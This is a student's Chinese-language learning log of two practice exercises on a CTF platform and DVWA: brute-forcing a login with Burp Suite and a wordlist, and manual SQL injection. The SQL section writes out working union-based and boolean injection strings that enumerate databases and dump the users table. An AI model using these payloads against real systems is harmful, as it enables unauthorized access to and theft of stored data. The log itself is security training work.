一,爆破
第一次接触暴力破解是在攻防世界web里面,题目是这样的:
打开场景
利用burp对其进行爆破、
首先连接代理 对其进行抓包
选择爆破类型
这里是在网上找的大佬的字典
最后找出lenght值与其他不一样的 即为我们所需要的得到flag.
上面的题虽然是攻防世界的,但是与DVWA 的第一题同一种做法(类型体)
但是这道题却出现了问题:
在谷歌中抓不到本地包需要手动设置代理最后使用了火狐浏览器 设置了手动代理才成功抓到包
做题步骤与上面一样我就不多说了。
二,SQL注入
通过前几次师傅的培训对这部分有所了解,但是能力还是远远不够
(随便试了个1就成了。。。。。。)再试个2 发现到了5就到了结点处 5 以后的都不会出现结果(于是猜测,是否后台应用程序将此值看做了字符型)
输入英文字母也是没有什么反应。。。。。试试 标点符号
当输入 “ ’ ” 时发现
这应该是其漏洞之处。
因为我对实在没什么思路,我只好上网求助师傅根据师傅的思路走下来。
测试查询信息列数。利用语句 order by num
这里我们输入 " 1’order by 1 – " 结果页面正常显示,注意-- 后面有空格。继续测试, " 1’order by 2 – ", " 1’order by 3 – ",
当输入3是,页面报错。页面错误信息如下, Unknown column ‘3’ in ‘order clause’,由此我们判断查询结果值为2列。
通过得到连接数据库账户信息、数据库名称、数据库版本信息。利用user(),及database(),version()等三个内置函数。
这里尝试注入 “ 1’ and 1=2 union select 1,2 – ”结果如下
1’ and 1=2 union select 1,2 –
1’ and 1=2 union select user(),database() –
发现连接该数据库的用户为 root@localhost ,数据库名称为dvwa
1’ and 1=2 union select version(),database() –
现在尝试获得系统信息
利用:1’and 1=2 union select 1,@@global.version_compile_os from mysql.user –
再输入 1’ and ord(mid(user(),1,1))=114 – 测试连接数据库权限
正常返回说明 为 root
查询mysql数据库,所有数据库名字:这里利用mysql默认的数据库infromation_scehma,该数据库存储了Mysql所有数据库和表的信息。
利用语句:1’ and 1=2 union select 1,schema_name from information_schema.schemata –
猜解dvwa数据库中的表名。 (根据师傅的提醒 users)
1’ and exists(select * from users) –
得到
猜解字段名:1’ and exists(select 表名 from users) – ,这里测试的字段名有first_name,last_name
1’ and exists(select first_name from users) –
1’ and exists(select last_name from users) –
最后是输入:
1’ and 1=2 union select first_name,last_name from users –
就会出现存放管理员账户的表
SQL 注入大部分还是根据师傅的思路走的,我自己还有很多不足,必须加油学习。